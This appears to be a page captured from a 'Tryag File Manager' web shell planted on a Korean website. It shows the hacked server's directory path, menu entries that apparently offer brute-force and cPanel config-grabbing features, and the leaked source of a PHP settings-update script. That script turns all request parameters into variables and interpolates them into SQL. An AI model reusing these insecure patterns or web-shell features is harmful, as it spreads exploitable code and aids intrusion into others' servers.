Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
ltman.eemo.co.kr
/
public_html
/
www
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/ltman.eemo.co.kr/public_html/www/ltman_brif_date_mody_do.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } $arr=array(); for($n=0;$n<=6;$n++) { if(${"chks_".$n}==1) { $arr[$n]=1; } else { $arr[$n]=0; } } $chks=implode(",",$arr); $query="update ltman_brif_setting set jdate='$jdate', jtime='$jtime', brif_week_chks='$chks' where no='$no' "; mysql_query($query) or die(mysql_error()); $arr_rst['rst']='1'; echo urldecode(json_encode($arr_rst)); ?>